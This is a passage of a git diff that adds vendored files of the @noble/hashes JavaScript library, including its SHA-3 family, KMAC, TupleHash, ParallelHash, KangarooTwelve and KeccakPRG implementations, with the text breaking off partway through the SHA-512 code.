+{"version":3,"file":"sha256.js","sourceRoot":"","sources":["../src/sha256.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,YAAY,CAAC;AAClC,OAAO,EAAE,IAAI,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAEnD,gEAAgE;AAChE,0DAA0D;AAE1D,oBAAoB;AACpB,MAAM,GAAG,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;AACpE,oDAAoD;AACpD,MAAM,GAAG,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;AAE7E,mBAAmB;AACnB,yFAAyF;AACzF,kBAAkB;AAClB,MAAM,QAAQ,GAAG,eAAe,CAAA,IAAI,WAAW,CAAC;IAC9C,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAA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eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC;AAC1E,MAAM,CAAC,MAAM,MAAM,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha3-addons.js b/node_modules/@noble/hashes/esm/sha3-addons.js new file mode 100644 index 000000000000..449b3a38f04e --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha3-addons.js @@ -0,0 +1,347 @@ +import { number as assertNumber } from './_assert.js'; +import { toBytes, wrapConstructorWithOpts, u32 } from './utils.js'; +import { Keccak } from './sha3.js'; +// cSHAKE && KMAC (NIST SP800-185) +function leftEncode(n) { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.unshift(res.length); + return new Uint8Array(res); +} +function rightEncode(n) { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} +function chooseLen(opts, outputLen) { + return opts.dkLen === undefined ? outputLen : opts.dkLen; +} +const toBytesOptional = (buf) => (buf !== undefined ? toBytes(buf) : new Uint8Array([])); +// NOTE: second modulo is necessary since we don't need to add padding if current element takes whole block +const getPadding = (len, block) => new Uint8Array((block - (len % block)) % block); +// Personalization +function cshakePers(hash, opts = {}) { + if (!opts || (!opts.personalization && !opts.NISTfn)) + return hash; + // Encode and pad inplace to avoid unneccesary memory copies/slices (so we don't need to zero them later) + // bytepad(encode_string(N) || encode_string(S), 168) + const blockLenBytes = leftEncode(hash.blockLen); + const fn = toBytesOptional(opts.NISTfn); + const fnLen = leftEncode(8 * fn.length); // length in bits + const pers = toBytesOptional(opts.personalization); + const persLen = leftEncode(8 * pers.length); // length in bits + if (!fn.length && !pers.length) + return hash; + hash.suffix = 0x04; + hash.update(blockLenBytes).update(fnLen).update(fn).update(persLen).update(pers); + let totalLen = blockLenBytes.length + fnLen.length + fn.length + persLen.length + pers.length; + hash.update(getPadding(totalLen, hash.blockLen)); + return hash; +} +const gencShake = (suffix, blockLen, outputLen) => wrapConstructorWithOpts((opts = {}) => cshakePers(new Keccak(blockLen, suffix, chooseLen(opts, outputLen), true), opts)); +export const cshake128 = /* @__PURE__ */ (() => gencShake(0x1f, 168, 128 / 8))(); +export const cshake256 = /* @__PURE__ */ (() => gencShake(0x1f, 136, 256 / 8))(); +class KMAC extends Keccak { + constructor(blockLen, outputLen, enableXOF, key, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'KMAC', personalization: opts.personalization }); + key = toBytes(key); + // 1. newX = bytepad(encode_string(K), 168) || X || right_encode(L). + const blockLenBytes = leftEncode(this.blockLen); + const keyLen = leftEncode(8 * key.length); + this.update(blockLenBytes).update(keyLen).update(key); + const totalLen = blockLenBytes.length + keyLen.length + key.length; + this.update(getPadding(totalLen, this.blockLen)); + } + finish() { + if (!this.finished) + this.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + // Force "to" to be instance of KMAC instead of Sha3. + if (!to) { + to = Object.create(Object.getPrototypeOf(this), {}); + to.state = this.state.slice(); + to.blockLen = this.blockLen; + to.state32 = u32(to.state); + } + return super._cloneInto(to); + } + clone() { + return this._cloneInto(); + } +} +function genKmac(blockLen, outputLen, xof = false) { + const kmac = (key, message, opts) => kmac.create(key, opts).update(message).digest(); + kmac.create = (key, opts = {}) => new KMAC(blockLen, chooseLen(opts, outputLen), xof, key, opts); + return kmac; +} +export const kmac128 = /* @__PURE__ */ (() => genKmac(168, 128 / 8))(); +export const kmac256 = /* @__PURE__ */ (() => genKmac(136, 256 / 8))(); +export const kmac128xof = /* @__PURE__ */ (() => genKmac(168, 128 / 8, true))(); +export const kmac256xof = /* @__PURE__ */ (() => genKmac(136, 256 / 8, true))(); +// TupleHash +// Usage: tuple(['ab', 'cd']) != tuple(['a', 'bcd']) +class TupleHash extends Keccak { + constructor(blockLen, outputLen, enableXOF, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'TupleHash', personalization: opts.personalization }); + // Change update after cshake processed + this.update = (data) => { + data = toBytes(data); + super.update(leftEncode(data.length * 8)); + super.update(data); + return this; + }; + } + finish() { + if (!this.finished) + super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + to || (to = new TupleHash(this.blockLen, this.outputLen, this.enableXOF)); + return super._cloneInto(to); + } + clone() { + return this._cloneInto(); + } +} +function genTuple(blockLen, outputLen, xof = false) { + const tuple = (messages, opts) => { + const h = tuple.create(opts); + for (const msg of messages) + h.update(msg); + return h.digest(); + }; + tuple.create = (opts = {}) => new TupleHash(blockLen, chooseLen(opts, outputLen), xof, opts); + return tuple; +} +export const tuplehash128 = /* @__PURE__ */ (() => genTuple(168, 128 / 8))(); +export const tuplehash256 = /* @__PURE__ */ (() => genTuple(136, 256 / 8))(); +export const tuplehash128xof = /* @__PURE__ */ (() => genTuple(168, 128 / 8, true))(); +export const tuplehash256xof = /* @__PURE__ */ (() => genTuple(136, 256 / 8, true))(); +class ParallelHash extends Keccak { + constructor(blockLen, outputLen, leafCons, enableXOF, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + this.leafCons = leafCons; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + cshakePers(this, { NISTfn: 'ParallelHash', personalization: opts.personalization }); + let { blockLen: B } = opts; + B || (B = 8); + assertNumber(B); + this.chunkLen = B; + super.update(leftEncode(B)); + // Change update after cshake processed + this.update = (data) => { + data = toBytes(data); + const { chunkLen, leafCons } = this; + for (let pos = 0, len = data.length; pos < len;) { + if (this.chunkPos == chunkLen || !this.leafHash) { + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + this.leafHash = leafCons(); + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + this.leafHash.update(data.subarray(pos, pos + take)); + this.chunkPos += take; + pos += take; + } + return this; + }; + } + finish() { + if (this.finished) + return; + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + super.update(rightEncode(this.chunksDone)); + super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + to || (to = new ParallelHash(this.blockLen, this.outputLen, this.leafCons, this.enableXOF)); + if (this.leafHash) + to.leafHash = this.leafHash._cloneInto(to.leafHash); + to.chunkPos = this.chunkPos; + to.chunkLen = this.chunkLen; + to.chunksDone = this.chunksDone; + return super._cloneInto(to); + } + destroy() { + super.destroy.call(this); + if (this.leafHash) + this.leafHash.destroy(); + } + clone() { + return this._cloneInto(); + } +} +function genPrl(blockLen, outputLen, leaf, xof = false) { + const parallel = (message, opts) => parallel.create(opts).update(message).digest(); + parallel.create = (opts = {}) => new ParallelHash(blockLen, chooseLen(opts, outputLen), () => leaf.create({ dkLen: 2 * outputLen }), xof, opts); + return parallel; +} +export const parallelhash128 = /* @__PURE__ */ (() => genPrl(168, 128 / 8, cshake128))(); +export const parallelhash256 = /* @__PURE__ */ (() => genPrl(136, 256 / 8, cshake256))(); +export const parallelhash128xof = /* @__PURE__ */ (() => genPrl(168, 128 / 8, cshake128, true))(); +export const parallelhash256xof = /* @__PURE__ */ (() => genPrl(136, 256 / 8, cshake256, true))(); +// Kangaroo +// Same as NIST rightEncode, but returns [0] for zero string +function rightEncodeK12(n) { + const res = []; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} +const EMPTY = new Uint8Array([]); +class KangarooTwelve extends Keccak { + constructor(blockLen, leafLen, outputLen, rounds, opts) { + super(blockLen, 0x07, outputLen, true, rounds); + this.leafLen = leafLen; + this.chunkLen = 8192; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + const { personalization } = opts; + this.personalization = toBytesOptional(personalization); + } + update(data) { + data = toBytes(data); + const { chunkLen, blockLen, leafLen, rounds } = this; + for (let pos = 0, len = data.length; pos < len;) { + if (this.chunkPos == chunkLen) { + if (this.leafHash) + super.update(this.leafHash.digest()); + else { + this.suffix = 0x06; // Its safe to change suffix here since its used only in digest() + super.update(new Uint8Array([3, 0, 0, 0, 0, 0, 0, 0])); + } + this.leafHash = new Keccak(blockLen, 0x0b, leafLen, false, rounds); + this.chunksDone++; + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + const chunk = data.subarray(pos, pos + take); + if (this.leafHash) + this.leafHash.update(chunk); + else + super.update(chunk); + this.chunkPos += take; + pos += take; + } + return this; + } + finish() { + if (this.finished) + return; + const { personalization } = this; + this.update(personalization).update(rightEncodeK12(personalization.length)); + // Leaf hash + if (this.leafHash) { + super.update(this.leafHash.digest()); + super.update(rightEncodeK12(this.chunksDone)); + super.update(new Uint8Array([0xff, 0xff])); + } + super.finish.call(this); + } + destroy() { + super.destroy.call(this); + if (this.leafHash) + this.leafHash.destroy(); + // We cannot zero personalization buffer since it is user provided and we don't want to mutate user input + this.personalization = EMPTY; + } + _cloneInto(to) { + const { blockLen, leafLen, leafHash, outputLen, rounds } = this; + to || (to = new KangarooTwelve(blockLen, leafLen, outputLen, rounds, {})); + super._cloneInto(to); + if (leafHash) + to.leafHash = leafHash._cloneInto(to.leafHash); + to.personalization.set(this.personalization); + to.leafLen = this.leafLen; + to.chunkPos = this.chunkPos; + to.chunksDone = this.chunksDone; + return to; + } + clone() { + return this._cloneInto(); + } +} +// Default to 32 bytes, so it can be used without opts +export const k12 = /* @__PURE__ */ (() => wrapConstructorWithOpts((opts = {}) => new KangarooTwelve(168, 32, chooseLen(opts, 32), 12, opts)))(); +// MarsupilamiFourteen +export const m14 = /* @__PURE__ */ (() => wrapConstructorWithOpts((opts = {}) => new KangarooTwelve(136, 64, chooseLen(opts, 64), 14, opts)))(); +// https://keccak.team/files/CSF-0.1.pdf +// + https://github.com/XKCP/XKCP/tree/master/lib/high/Keccak/PRG +class KeccakPRG extends Keccak { + constructor(capacity) { + assertNumber(capacity); + // Rho should be full bytes + if (capacity < 0 || capacity > 1600 - 10 || (1600 - capacity - 2) % 8) + throw new Error('KeccakPRG: Invalid capacity'); + // blockLen = rho in bytes + super((1600 - capacity - 2) / 8, 0, 0, true); + this.rate = 1600 - capacity; + this.posOut = Math.floor((this.rate + 7) / 8); + } + keccak() { + // Duplex padding + this.state[this.pos] ^= 0x01; + this.state[this.blockLen] ^= 0x02; // Rho is full bytes + super.keccak(); + this.pos = 0; + this.posOut = 0; + } + update(data) { + super.update(data); + this.posOut = this.blockLen; + return this; + } + feed(data) { + return this.update(data); + } + finish() { } + digestInto(_out) { + throw new Error('KeccakPRG: digest is not allowed, please use .fetch instead.'); + } + fetch(bytes) { + return this.xof(bytes); + } + // Ensure irreversibility (even if state leaked previous outputs cannot be computed) + forget() { + if (this.rate < 1600 / 2 + 1) + throw new Error('KeccakPRG: rate too low to use forget'); + this.keccak(); + for (let i = 0; i < this.blockLen; i++) + this.state[i] = 0; + this.pos = this.blockLen; + this.keccak(); + this.posOut = this.blockLen; + } + _cloneInto(to) { + const { rate } = this; + to || (to = new KeccakPRG(1600 - rate)); + super._cloneInto(to); + to.rate = rate; + return to; + } + clone() { + return this._cloneInto(); + } +} +export const keccakprg = (capacity = 254) => new KeccakPRG(capacity); +//# sourceMappingURL=sha3-addons.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha3-addons.js.map b/node_modules/@noble/hashes/esm/sha3-addons.js.map new file mode 100644 index 000000000000..7600a9a9606d --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha3-addons.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha3-addons.js","sourceRoot":"","sources":["../src/sha3-addons.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,YAAY,EAAE,MAAM,cAAc,CAA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AE,KAAF,EAAE,GAAK,IAAI,SAAS,CAAC,IAAI,GAAG,IAAI,CAAC,EAAC;QAClC,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,CAAC;QACrB,EAAE,CAAC,IAAI,GAAG,IAAI,CAAC;QACf,OAAO,EAAE,CAAC;IACZ,CAAC;IACD,KAAK;QACH,OAAO,IAAI,CAAC,UAAU,EAAE,CAAC;IAC3B,CAAC;CACF;AAED,MAAM,CAAC,MAAM,SAAS,GAAG,CAAC,QAAQ,GAAG,GAAG,EAAE,EAAE,CAAC,IAAI,SAAS,CAAC,QAAQ,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha3.js b/node_modules/@noble/hashes/esm/sha3.js new file mode 100644 index 000000000000..0879d36f0b8b --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha3.js @@ -0,0 +1,208 @@ +import { bytes, exists, number, output } from './_assert.js'; +import { rotlBH, rotlBL, rotlSH, rotlSL, split } from './_u64.js'; +import { Hash, u32, toBytes, wrapConstructor, wrapXOFConstructorWithOpts, } from './utils.js'; +// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. +// It's called a sponge function. +// Various per round constants calculations +const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []]; +const _0n = /* @__PURE__ */ BigInt(0); +const _1n = /* @__PURE__ */ BigInt(1); +const _2n = /* @__PURE__ */ BigInt(2); +const _7n = /* @__PURE__ */ BigInt(7); +const _256n = /* @__PURE__ */ BigInt(256); +const _0x71n = /* @__PURE__ */ BigInt(0x71); +for (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n; + for (let j = 0; j < 7; j++) { + R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n) + t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n); + } + _SHA3_IOTA.push(t); +} +const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true); +// Left rotation (without 0, 32, 64) +const rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s)); +const rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s)); +// Same as keccakf1600, but allows to skip some rounds +export function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) + B[x] = s[y + x]; + for (let x = 0; x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); +} +export class Keccak extends Hash { + // NOTE: we accept arguments in bytes instead of bits here. + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + // Can be passed from user as dkLen + number(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data) { + exists(this); + const { blockLen, state } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + writeInto(out) { + exists(this, false); + bytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) + throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes) { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + output(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} +const gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen)); +export const sha3_224 = /* @__PURE__ */ gen(0x06, 144, 224 / 8); +/** + * SHA3-256 hash function + * @param message - that would be hashed + */ +export const sha3_256 = /* @__PURE__ */ gen(0x06, 136, 256 / 8); +export const sha3_384 = /* @__PURE__ */ gen(0x06, 104, 384 / 8); +export const sha3_512 = /* @__PURE__ */ gen(0x06, 72, 512 / 8); +export const keccak_224 = /* @__PURE__ */ gen(0x01, 144, 224 / 8); +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +export const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8); +export const keccak_384 = /* @__PURE__ */ gen(0x01, 104, 384 / 8); +export const keccak_512 = /* @__PURE__ */ gen(0x01, 72, 512 / 8); +const genShake = (suffix, blockLen, outputLen) => wrapXOFConstructorWithOpts((opts = {}) => new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true)); +export const shake128 = /* @__PURE__ */ genShake(0x1f, 168, 128 / 8); +export const shake256 = /* @__PURE__ */ genShake(0x1f, 136, 256 / 8); +//# sourceMappingURL=sha3.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha3.js.map b/node_modules/@noble/hashes/esm/sha3.js.map new file mode 100644 index 000000000000..32d5b1644de9 --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha3.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha3.js","sourceRoot":"","sources":["../src/sha3.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,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AE,CACvB,IAAI,MAAM,CAAC,QAAQ,EAAE,MAAM,EAAE,IAAI,CAAC,KAAK,KAAK,SAAS,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,CACxF,CAAC;AAEJ,MAAM,CAAC,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AACrE,MAAM,CAAC,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha512.js b/node_modules/@noble/hashes/esm/sha512.js new file mode 100644 index 000000000000..f938b6d0e62d --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha512.js @@ -0,0 +1,231 @@ +import { SHA2 } from './_sha2.js'; +import u64 from './_u64.js'; +import { wrapConstructor } from './utils.js'; +// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409): +// prettier-ignore +const [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([ + '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc', + '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118', + '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2', + '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694', + '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65', + '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5', + '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4', + '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70', + '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df', + '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b', + '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30', + '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8', + '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8', + '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3', + '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec', + '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b', + '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178', + '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b', + '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c', + '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817' +].map(n => BigInt(n))))(); +// Temporary buffer, not used to store anything between runs +const SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); +const SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); +export class SHA512 extends SHA2 { + constructor() { + super(128, 64, 16, false); + // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers. + // Also looks cleaner and easier to verify with spec. + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x6a09e667 | 0; + this.Al = 0xf3bcc908 | 0; + this.Bh = 0xbb67ae85 | 0; + this.Bl = 0x84caa73b | 0; + this.Ch = 0x3c6ef372 | 0; + this.Cl = 0xfe94f82b | 0; + this.Dh = 0xa54ff53a | 0; + this.Dl = 0x5f1d36f1 | 0; + this.Eh = 0x510e527f | 0; + this.El = 0xade682d1 | 0; + this.Fh = 0x9b05688c | 0; + this.Fl = 0x2b3e6c1f | 0; + this.Gh = 0x1f83d9ab | 0; + this.Gl = 0xfb41bd6b | 0; + this.Hh = 0x5be0cd19 | 0; + this.Hl = 0x137e2179 | 0; + } + // prettier-ignore + get() { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + // prettier-ignore + set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32((offset += 4)); + } + for (let i = 16; i < 80; i++) { + // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7) + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7); + const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7); + // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6) + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6); + const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6); + // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16]; + const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + // Compression function main loop, 80 rounds + for (let i = 0; i < 80; i++) { + // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41) + const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41); + const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41); + //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const CHIh = (Eh & Fh) ^ (~Eh & Gh); + const CHIl = (El & Fl) ^ (~El & Gl); + // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i] + // prettier-ignore + const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = u64.add5H(T1ll, 